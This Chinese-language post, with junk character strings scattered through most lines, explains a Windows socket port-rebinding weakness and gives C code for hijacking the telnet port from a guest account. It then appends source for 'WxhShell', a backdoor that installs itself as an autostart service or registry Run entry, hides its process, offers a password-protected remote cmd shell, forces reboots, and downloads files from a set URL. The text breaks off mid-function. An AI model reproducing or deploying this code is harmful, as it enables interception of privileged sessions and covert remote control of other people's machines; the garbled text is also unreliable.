在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
Up61Xn s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
]fN\LY6p
5jj<sj!S saddr.sin_family = AF_INET;
u$7od$&S pi>,>-Z saddr.sin_addr.s_addr = htonl(INADDR_ANY);
t)Iu\bP V~V_+ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
p'lL2n$E !,rp| 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
, _K /e wnaT~r@U' 这意味着什么?意味着可以进行如下的攻击:
aS^
4dEJ g\ r%A 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
7$ vs X {q9[0-LyJ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
9v=fE2`- A}(&At%n4 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
!/+'O}@-E +tbG^w% 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
_f9XY mnKSO 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
8IErLu } b?6-lYE>L 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
_7j-y 9V `lAe2l^ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
|sf&t c/fU0cA@ #include
2s(c#$JVS #include
dLV>FpA\ #include
5PY,}1` #include
;T!w$({V0z DWORD WINAPI ClientThread(LPVOID lpParam);
=!rdn#KH int main()
.;ptgX {
|9YY8oT. WORD wVersionRequested;
-YF]k}| DWORD ret;
idWYpU>gC WSADATA wsaData;
{+CW_ce BOOL val;
D%L}vugxK SOCKADDR_IN saddr;
/U
|@sw4 SOCKADDR_IN scaddr;
cG)i: int err;
I9xQ1WJc` SOCKET s;
'CE3
|x\%K SOCKET sc;
EbEQ@6t int caddsize;
"E4;M/ HANDLE mt;
!j'9>G{T DWORD tid;
>/,7j:X wVersionRequested = MAKEWORD( 2, 2 );
PuKT0*_ 7 err = WSAStartup( wVersionRequested, &wsaData );
|"4+~z%/9! if ( err != 0 ) {
R>BZQugZ~ printf("error!WSAStartup failed!\n");
dso6ZRx return -1;
_wMc7`6F }
,(h:0L2v7d saddr.sin_family = AF_INET;
8ZY F% KI* erK
[d //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
q J)[2:.G ELh`|X saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
o :`>r/SlL saddr.sin_port = htons(23);
XH9Y|FX%# if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
:bJT2o[ {
FW](GWp`: printf("error!socket failed!\n");
S8+GM return -1;
e^;<T9Esr }
>LvQ&fAo val = TRUE;
(o+(YV^ //SO_REUSEADDR选项就是可以实现端口重绑定的
Q-scL>IkCb if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
N~c Y ~a {
dMo456L printf("error!setsockopt failed!\n");
R#D>m8&}3 return -1;
CC?L~/gPN }
)Sz2D[@n //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
${(c`X //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
k!9LJ%Xh //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
AoL2Wrk]\B +M@,CbqD if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
H0!W:cIS;l {
]yc&ffe% ret=GetLastError();
="~yD[S printf("error!bind failed!\n");
x4b.^5"`: return -1;
Ancka }
%9bf^LyD listen(s,2);
"x;|li3; while(1)
K) e;*D {
0l.\KF caddsize = sizeof(scaddr);
'/2u^&W //接受连接请求
pDw^~5P sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
,C4gA(')K if(sc!=INVALID_SOCKET)
|wef [|@% {
= JE4C9$, mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
{jnfe}] if(mt==NULL)
<oFZFlY@ {
33O O%rWi printf("Thread Creat Failed!\n");
y7iHB
k"^: break;
$2tPqZ> }
n U0 }
-SyQ`V)T7N CloseHandle(mt);
tc.`P]R
}
W3AtO closesocket(s);
qFqK.u WSACleanup();
A*&`cUoA return 0;
u\)2/~<] }
w$E8R[J~P DWORD WINAPI ClientThread(LPVOID lpParam)
9 E@}@ZV( {
/w5~ O: SOCKET ss = (SOCKET)lpParam;
#Cj$;q{! SOCKET sc;
P4h^_*d unsigned char buf[4096];
)GbVgYkk SOCKADDR_IN saddr;
8eAc 5by long num;
#YABbwH DWORD val;
$w:7$:k DWORD ret;
&:]ej6V'[ //如果是隐藏端口应用的话,可以在此处加一些判断
;v}f7v ' //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
G<dWh.|`= saddr.sin_family = AF_INET;
\{g;|Z1 saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
y{Fq'w!ap saddr.sin_port = htons(23);
]]R!MnU:$ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
@<^_ _." {
qD#E, "% printf("error!socket failed!\n");
h;s~I/e( return -1;
Mk:k0,z }
^@"H(1Hxu/ val = 100;
APne! if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
D@-'<0= {
,McwPHEMB ret = GetLastError();
\A~r~ return -1;
0$saDmED }
fo$5WTY if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
$e99[y@ {
>vr!3 ret = GetLastError();
S2^Ckg return -1;
{? a@UUvC }
l(o;O.dLt if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
}]fJ[KbDp {
ITUwIpAE printf("error!socket connect failed!\n");
:)djHPP* closesocket(sc);
/,tQdD& closesocket(ss);
('9LUFw\ return -1;
7 3 Oo; }
E/<5JhI9~ while(1)
:o2^?k8k {
TB oN8cB} //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
~|FKl% //如果是嗅探内容的话,可以再此处进行内容分析和记录
K3CTxU( //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
*5Mg^}ZC5 num = recv(ss,buf,4096,0);
J)148/ if(num>0)
t;^NgkP{$ send(sc,buf,num,0);
Ke5fe# else if(num==0)
?;q break;
UNoNsmP num = recv(sc,buf,4096,0);
#3+-vyZm if(num>0)
P7X': send(ss,buf,num,0);
K #f*LV5 else if(num==0)
z~Ec * break;
b*AL,n? }
q#=}T~4j closesocket(ss);
}mhD2 ' E closesocket(sc);
J&vmW}& return 0 ;
|afzW=8' }
[~%\:of70n qGH
s2Og ,(D:cRN ==========================================================
S8 zc1! {H\(H_X 下边附上一个代码,,WXhSHELL
P
S$6`6G A,WZ}v}_ ==========================================================
BLno/JK0} >3{l"SPU #include "stdafx.h"
NHL -ll-R 96 ozt UK #include <stdio.h>
dx<KZR$!V #include <string.h>
ME9jN{ le #include <windows.h>
_ +"V5z #include <winsock2.h>
t9Sog~:' #include <winsvc.h>
Z>O2 #include <urlmon.h>
xn=/SIS O<H5W|cM #pragma comment (lib, "Ws2_32.lib")
<<ze84E #pragma comment (lib, "urlmon.lib")
K~U5jpc xM#+jI #define MAX_USER 100 // 最大客户端连接数
GD]yP.. #define BUF_SOCK 200 // sock buffer
@~Uu]1 #define KEY_BUFF 255 // 输入 buffer
qMHI-h_A z. 6-D #define REBOOT 0 // 重启
#RyX}t X, #define SHUTDOWN 1 // 关机
gGtl*9a= cyQ&w>' #define DEF_PORT 5000 // 监听端口
52zD!(
(FwWyt #define REG_LEN 16 // 注册表键长度
2a\?Q|1C #define SVC_LEN 80 // NT服务名长度
a$7}41F[~s KA"D2j9wn // 从dll定义API
)S,Rx typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
Kgb3>r typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
e*zt;SR typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
O< \i{4}} typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
K<_bG<tm_ @N?u{|R:d // wxhshell配置信息
IPIas$ struct WSCFG {
[VsTyqV a int ws_port; // 监听端口
~S$\ PG4 char ws_passstr[REG_LEN]; // 口令
t:SME'~.P int ws_autoins; // 安装标记, 1=yes 0=no
&'0|U{| char ws_regname[REG_LEN]; // 注册表键名
d/m.VnW char ws_svcname[REG_LEN]; // 服务名
IwR/4LYI char ws_svcdisp[SVC_LEN]; // 服务显示名
/c>@^ char ws_svcdesc[SVC_LEN]; // 服务描述信息
=Eh~ wm
char ws_passmsg[SVC_LEN]; // 密码输入提示信息
Hp@nxtKxW int ws_downexe; // 下载执行标记, 1=yes 0=no
Kc%GxD` char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
3fb"1z# char ws_filenam[SVC_LEN]; // 下载后保存的文件名
sK&[sN33 u=U.+\f5 };
o\M K).Gj2 $ // default Wxhshell configuration
LzS)WjEN struct WSCFG wscfg={DEF_PORT,
[q%Rx!L "xuhuanlingzhe",
l-} );zH74 1,
+TWk}#G "Wxhshell",
'/ >7pB "Wxhshell",
<6djdr1:b "WxhShell Service",
!n?8'eqWru "Wrsky Windows CmdShell Service",
&F!Ct(c99 "Please Input Your Password: ",
$N[R99*x8 1,
(9_O||ee "
http://www.wrsky.com/wxhshell.exe",
^1b/Y8&8A "Wxhshell.exe"
JxV0y };
m7F"kD bH7 lUS~ // 消息定义模块
o~(/Twxam char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
\MY`R char *msg_ws_prompt="\n\r? for help\n\r#>";
Q.$|TbVfds char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
.}O _5b( char *msg_ws_ext="\n\rExit.";
VY@6!9G char *msg_ws_end="\n\rQuit.";
l?UFe$9( char *msg_ws_boot="\n\rReboot...";
5g-AB`6T char *msg_ws_poff="\n\rShutdown...";
A%zX LV=3O char *msg_ws_down="\n\rSave to ";
wS)2ymRg 3G;#QK-c char *msg_ws_err="\n\rErr!";
-%g$~MZ?' char *msg_ws_ok="\n\rOK!";
5g$]ou k^Gf2%k char ExeFile[MAX_PATH];
RTJ\|#w int nUser = 0;
t.ci!#/d HANDLE handles[MAX_USER];
!=Hu?F p int OsIsNt;
e[:i`J2 z+k[HE^S SERVICE_STATUS serviceStatus;
4fq:W`9sN SERVICE_STATUS_HANDLE hServiceStatusHandle;
x e!([^l& z"vI-~,YU // 函数声明
ZSUbPz int Install(void);
W{1" int Uninstall(void);
v95O)cC:W int DownloadFile(char *sURL, SOCKET wsh);
/ZeN\ybx int Boot(int flag);
j-R9=vB2 void HideProc(void);
=u.jZ*u]WT int GetOsVer(void);
1c%ee$Q int Wxhshell(SOCKET wsl);
K4{1}bU{> void TalkWithClient(void *cs);
zIeJ[J@ int CmdShell(SOCKET sock);
j$5S_]2 int StartFromService(void);
[\rnJ
lE int StartWxhshell(LPSTR lpCmdLine);
=Ay'\j ]8c%)%Vi VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
JSAbh\Mq6 VOID WINAPI NTServiceHandler( DWORD fdwControl );
hbOyrjanx NhgzU+)+ // 数据结构和表定义
TGxmc37? SERVICE_TABLE_ENTRY DispatchTable[] =
,*r}23 {
z87_/(nu {wscfg.ws_svcname, NTServiceMain},
:9O"?FE {NULL, NULL}
`/4R$E{ };
DA(ur'D / p PSo // 自我安装
TJhzyJ"t int Install(void)
X;vfbF {
~:ldGfb| char svExeFile[MAX_PATH];
*>#mI/#} HKEY key;
'Wv`^{y <^ strcpy(svExeFile,ExeFile);
;L{#TC(]J] Pcs62aE // 如果是win9x系统,修改注册表设为自启动
8F;f&&L"y if(!OsIsNt) {
yG ,oSp| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
dHUcu@, RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
CU7WK}2h2C RegCloseKey(key);
u |EECjJn if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
a(a2xa RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
!SxZN d v RegCloseKey(key);
[l7 G9T}/[ return 0;
\d&/,?,Ey }
I/&uiC{l@ }
f0h^ULd }
Ol@ssm else {
t
V:oBT* 9eh9@~mU"l // 如果是NT以上系统,安装为系统服务
XeJ|Z)qZ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
`-J$7)d@ if (schSCManager!=0)
WYayr1 {
dTwZ-% SC_HANDLE schService = CreateService
3SMb#ce*o (
itpljh schSCManager,
-<jd/ 5 wscfg.ws_svcname,
!idQ-& wscfg.ws_svcdisp,
jlA?JB SERVICE_ALL_ACCESS,
yW!+:y_N_ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
8e:\T.)M SERVICE_AUTO_START,
_Dv< SERVICE_ERROR_NORMAL,
dm+}nQI\ svExeFile,
e]qbh_A NULL,
bY>JLRQJ- NULL,
c@ea
;Cv NULL,
4P(ysTuM NULL,
%dN', NULL
:9=J=G* );
Q
6)5*o8n if (schService!=0)
L(
B(x>w {
33*NgQ;&~' CloseServiceHandle(schService);
i=ztWKwKf CloseServiceHandle(schSCManager);
t]QGyW A] strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
,];4+&|8kW strcat(svExeFile,wscfg.ws_svcname);
F-g7* if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
- 2`D(xC RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
<.N337! RegCloseKey(key);
Y2B",v" return 0;
M
}H7`,@I }
-j<g}IG }
}p <p( CloseServiceHandle(schSCManager);
H)Kt!v8 }
':[:12y[ }
$d +n},[C{ ENEn Hu^ return 1;
pEn3:.l< }
.0eHP WL6p+sN' // 自我卸载
+1]xmnts int Uninstall(void)
~nSGN% {
eT4+O5t HKEY key;
j. m(Z} NyTGvBf if(!OsIsNt) {
\!_:<"nX. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Hh<3k- *d RegDeleteValue(key,wscfg.ws_regname);
>d{O1by=d9 RegCloseKey(key);
}_A#O|dxO if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
9W~3E^x RegDeleteValue(key,wscfg.ws_regname);
Kr*s]O RegCloseKey(key);
] SErM#$* return 0;
)iiwxpdw }
[8b,}i 1 }
_&~y{;)S }
!FhiTh:GCh else {
u{/!BCKE qDPpGI-Y2e SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Ijs"KAW
? if (schSCManager!=0)
u3Jsu=Nx- {
+T R# SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
yQ3*~d~U|L if (schService!=0)
pR
VL}^Rk {
>UQ`@GdafR if(DeleteService(schService)!=0) {
Q.d Hg7+D CloseServiceHandle(schService);
n*
7mP CloseServiceHandle(schSCManager);
?pLKUA h return 0;
5nhc|E)C }
G#~6a%VW CloseServiceHandle(schService);
ic+tn9f\ }
j1LL[+G-"_ CloseServiceHandle(schSCManager);
-c1$>+ }
KT5"/fv }
?_NhR OcBn1k. return 1;
r$7D;>*O{ }
ke(LjRS SLiQHWw*J // 从指定url下载文件
xzGs%01] int DownloadFile(char *sURL, SOCKET wsh)
u}[Z=V {
zg3q\~ HRESULT hr;
KLc<c1BZ char seps[]= "/";
kp+\3z_ char *token;
D-zqu~f` char *file;
otsINAizgS char myURL[MAX_PATH];
4eOQP char myFILE[MAX_PATH];
k?Bc^7l: Dyx3N5?C strcpy(myURL,sURL);
ON$^_l/c token=strtok(myURL,seps);
4I[g{S
nF while(token!=NULL)
L%7?o: {
|VC/(A file=token;
b~Qd9Nf token=strtok(NULL,seps);
05<MsxB"w }
u.}z}'- ^PCshb## GetCurrentDirectory(MAX_PATH,myFILE);
D:uBr|(' strcat(myFILE, "\\");
_a"\g9{%* strcat(myFILE, file);
CENA!WWQ send(wsh,myFILE,strlen(myFILE),0);
C7]K9 send(wsh,"...",3,0);
/}]Irj4m hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
}
r#by%P if(hr==S_OK)
F?LTWm return 0;
0 w"&9+kV else
RyGce'
q return 1;
ya9V+/i7T_ |!\(eLR9> }
<*Kj7o{Qn 27;t,Oq} // 系统电源模块
UeVRd int Boot(int flag)
P2nb&lVdu {
!2('Cq_^ HANDLE hToken;
*lN>RWbM% TOKEN_PRIVILEGES tkp;
&k5 Z|d| >^@/Ba$h if(OsIsNt) {
XK)qDg OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
_Z:WgO]. LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
hr8v O"tZN tkp.PrivilegeCount = 1;
r9/PmZo4x tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|WiK* AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
crJyk #_ if(flag==REBOOT) {
6 ]@H .8+ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
.[-d( #l{l return 0;
C^po*(W6 }
cTKj1)!z?X else {
:VPZGzK4 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
<B;l).[6 return 0;
r )cGee }
e1dT~l }
5o~;0K] else {
Ksq{=q-T if(flag==REBOOT) {
tZtyx;EP if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
(8<U+)[tPy return 0;
1)aB']K% }
:bLLN else {
FuNc#n> if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
CL*i,9:NR return 0;
+oY[uF }
fjUyx: }
9HlRf6S Y5~_y?BX return 1;
fPs'A }
"lo:"y(u h Znq\p~ // win9x进程隐藏模块
h sVf/% void HideProc(void)
g/b_\__A {
@)>9l& m<>3GF,5bP HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
7_WD)Y2yS if ( hKernel != NULL )
v1yNVs\} {
IYq)p
/ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
'IweN ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
:XK.A
FreeLibrary(hKernel);
[s-Km/ }
Uhc2`r#q yWa-iHWC return;
y!SElKj }
igp[cFN 'aQ"&GX@ // 获取操作系统版本
NhyVX%qt: int GetOsVer(void)
<im
BFw {
yz}Agc4.I OSVERSIONINFO winfo;
[q/=%8qLUA winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
a %"My;8 GetVersionEx(&winfo);
W'2|hP if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
{I|iUfy return 1;
hL#5:~( else
$UMxO`F return 0;
u@\]r 1 }
UdmYS3zs YFD'&N,sx // 客户端句柄模块
7z'l}*FRD int Wxhshell(SOCKET wsl)
K.?~@5% {
ve2GRTO^aC SOCKET wsh;
n$Z@7r struct sockaddr_in client;
#pbPaRJL( DWORD myID;
vgSs]g @Iz vObK while(nUser<MAX_USER)
%EYh5W {
P SDzs\s int nSize=sizeof(client);
CUgXpU* wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
G\S\Qe{P~ if(wsh==INVALID_SOCKET) return 1;
ngoo4}
O1pBr=+j+{ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
u+eA>{ if(handles[nUser]==0)
7a Fvj closesocket(wsh);
zhbp"yju7 else
9WsPBzi"T nUser++;
Ep/4o<N( }
s5T$>+
a WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
nS0K&MH6B cg$@x\fJ return 0;
`QV}je }
h_ef@ZwSw TJ3CXyRq // 关闭 socket
o0b}:` void CloseIt(SOCKET wsh)
/238pg~Cw5 {
RKsr}-18 closesocket(wsh);
$:kG>R@\t nUser--;
\TSt ExitThread(0);
3!M;Z7qF] }
beFVjVVHq rr fL[ // 客户端请求句柄
mw9;LNi\D void TalkWithClient(void *cs)
z5PFppSQ {
GUJ[2/V~A sZ #Ck"n SOCKET wsh=(SOCKET)cs;
*jo y%F char pwd[SVC_LEN];
uBI?nv, char cmd[KEY_BUFF];
A-e#&pJ char chr[1];
2mAXBqdm int i,j;
8 munw 6k"'3AKaR while (nUser < MAX_USER) {
keNPlK%> mHjds77e if(wscfg.ws_passstr) {
pIdJ+gu(s if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
|[n-H;0 //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
^'Wkb7L //ZeroMemory(pwd,KEY_BUFF);
n<6p 0w i=0;
1J<Wth{ while(i<SVC_LEN) {
fyIL/7hzf4 Xxcv5.ug // 设置超时
3+_? /}< fd_set FdRead;
}R:e[lKj struct timeval TimeOut;
^& ZlV FD_ZERO(&FdRead);
ab8uY.j FD_SET(wsh,&FdRead);
*[jG^w0z8~ TimeOut.tv_sec=8;
]Ln2|$R TimeOut.tv_usec=0;
z"8%W?o> int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
09<O b[%h if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Ql sMMIax xg %EQ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
M7BCBA pwd
=chr[0]; `2\vDy1,j
if(chr[0]==0xd || chr[0]==0xa) { kxt@t#
pwd=0; 9,=3D2x&
break; Y<M,/Y_ !
} qy=4zOOD#
i++; hD!W&Er
} U^SJWYi<Y
mMm_=cfv
// 如果是非法用户,关闭 socket {s!DRc]ln
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ZKTOif}
} UA$
XjP
So?SBh1C
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |>a sGP
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $wUFHEl
(yWU9q)5
while(1) { GFasGHAw
u5^fiw]C
ZeroMemory(cmd,KEY_BUFF); [_6_A O(Z
ez_qG=J .
// 自动支持客户端 telnet标准 (y%}].[bB
j=0; Ovh
while(j<KEY_BUFF) { z?`&HU Nf
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {#N](yUm
cmd[j]=chr[0]; V.5gxr3QqW
if(chr[0]==0xa || chr[0]==0xd) { d{2+>
>d
cmd[j]=0; 1P(rgn:8e
break; rLO1Sv
} wjW>#DE
j++; so}(*E&(a
} r#
MJ
tr0P;}=
// 下载文件 {vh}f+2
if(strstr(cmd,"http://")) { +@[T0cXp
send(wsh,msg_ws_down,strlen(msg_ws_down),0); ScU?T<u:i
if(DownloadFile(cmd,wsh)) W|J8QNL?jm
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?{l}35Q.@
else {h/[!I`
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :GXiA
} ?.E6Ube
else { ^6s<
)8vz4e Y
switch(cmd[0]) { @Z> {/
]TQ2PVN2
// 帮助 R=P=?U.
case '?': { Y`jvza%
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $j*%}x~[
break; %Cbqi.iuQ
} OW1i{
// 安装 I\E`xkbBu
case 'i': { !Kr|04Qp#x
if(Install()) <6g{vNA
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \}Fx''
else U 2am1}
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @qk$
6X
break; <?'d\B
} O?e38(
// 卸载 nN1\
case 'r': { Yy`\??,
if(Uninstall()) gV@FT|j!i
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9}4P%>_
else ! iuDmL
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Qa@b-v'by
break; Iko1%GJ1Z
} |kJ'FZZd
// 显示 wxhshell 所在路径 =W'a6)WE
case 'p': { %PozxF:
char svExeFile[MAX_PATH]; N>##}i
strcpy(svExeFile,"\n\r"); 9}^nozR,I
strcat(svExeFile,ExeFile); i[1K~yXq:
send(wsh,svExeFile,strlen(svExeFile),0); QcJ?1GwA"
break; =.`(KXT
} F#_JcEE
// 重启 U@21N3_@_
case 'b': { SyFw
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); yJ*`OU#
if(Boot(REBOOT)) 21'I-j
send(wsh,msg_ws_err,strlen(msg_ws_err),0); tE3#Uq
else { [. Vy
closesocket(wsh); Z5iP1/&D
ExitThread(0); |O3wAxc3W
} 9jq}`$S{
break; &nkYJi(!
} 4FURm@C6
// 关机 A+P9M \u.
case 'd': { Ji4xor
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Cw7
07
if(Boot(SHUTDOWN))
h[~JCYA
send(wsh,msg_ws_err,strlen(msg_ws_err),0); JDPn
else { n{sF'n</
closesocket(wsh); SQ%B"1&$D
ExitThread(0); ;NNYJqWd^]
} uYVlF@]
break; CT5\8C
} 8,iBG! RF
// 获取shell Iz Vb
case 's': { 7\x7ySM
CmdShell(wsh); ZlQ@k{Es~
closesocket(wsh); nvY3$ Ty
ExitThread(0); Tbf't^Ot$
break; 3!E*h0$}
} ZL/iX~}a'
// 退出 o
4G%m>$
case 'x': { -]yM<dP
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8R?X$=$]!.
CloseIt(wsh); "Bl]_YPv
break; ;e,_F/@`
} x(oL\I_Z
// 离开 'fpm] *ig
case 'q': { nE.w
send(wsh,msg_ws_end,strlen(msg_ws_end),0); l;{n"F
closesocket(wsh); 7<FI[
WSACleanup(); [7x,&
exit(1); *_feD+rq
break; o/0cd
} "#zSk=52z
} y!_*CYZ~m
} qTc-Z5
9C&Xs nk
// 提示信息 I`hltJM'
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s
Dq{h
} 7{jB!Xj
} }!_x\eq^
Jr|"QRC
return; ~,#zdm1r@
} sBUK v(U)
\"=4)Huv
// shell模块句柄 dCq-&3?t
int CmdShell(SOCKET sock) *}fs@"S
{ bY`
b3
STARTUPINFO si; &Xh8j^p'
ZeroMemory(&si,sizeof(si)); bloe|o!
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j v9DQr
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Dp1FX"a)
PROCESS_INFORMATION ProcessInfo; VpmwN`
char cmdline[]="cmd"; gbvM2
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _0HCtx ;
return 0; K]c|v
i_D
} scr`] tD
%[3?vX
// 自身启动模式 HC1jN8WDY
int StartFromService(void) Ot,_=PP
{ R<\5q%@G
typedef struct
HJ5 Ktt
{ KD TG9KC
DWORD ExitStatus; * AsILK0
DWORD PebBaseAddress; ~|y$^qy?U
DWORD AffinityMask; 'v|R' wi\
DWORD BasePriority; [[vu#' bc
ULONG UniqueProcessId; w4:|Z@ I
